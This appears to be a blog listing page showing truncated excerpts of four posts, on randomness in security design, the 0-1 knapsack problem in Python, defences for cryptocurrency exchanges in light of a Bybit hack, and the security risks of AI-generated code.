random = security high ? Let's say we build a system architect where every lock, key, and secret passage is generated by high quality randomness. The idea here is profound : when the system is designed by high randomness, it increases unpredictability. Why does it matter ? Because unpredictability prevents attackers to ensure there are no easily discernible patterns to exploit. This unpredictability forms the core idea ..

the simplest dp problem """The problem is the classic 0-1 Knapsack, where you're given items with specific weights and values, and you must select a subset that maximizes total value without exceeding a given capacity. Here, 'i' represents the number (or index) of items considered so far, and 'w' represents the current weight capacity being evaluated."""def knapsack(benefits, weights, capacity):    n = len(benefits)   ..
Crypto exchange security whitepaper and Mitre ATT&CK; for bybit hacking Security of Cryptocurrency Exchanges: Threats and DefensesCryptocurrency exchanges are frequent targets for cyberattacks, with billions of dollars stolen in recent years. High-profile exchange breaches in 2024 underscored the evolving threat landscape: attackers shifted focus from decentralized finance to centralized exchanges, exploiting weaknesses in key management and human security (Crypto H..
better_than_pil_in_one_second IntroductionAI-assisted software development is transforming how code is written, offering faster prototyping and automation of routine tasks. However, integrating AI into coding raises serious security concerns (Is Your AI-Generated Code Really Secure? Evaluating Large Language Models on Secure Code Generation with CodeSecEval). Large Language Models (LLMs) trained on open-source code can inadv..
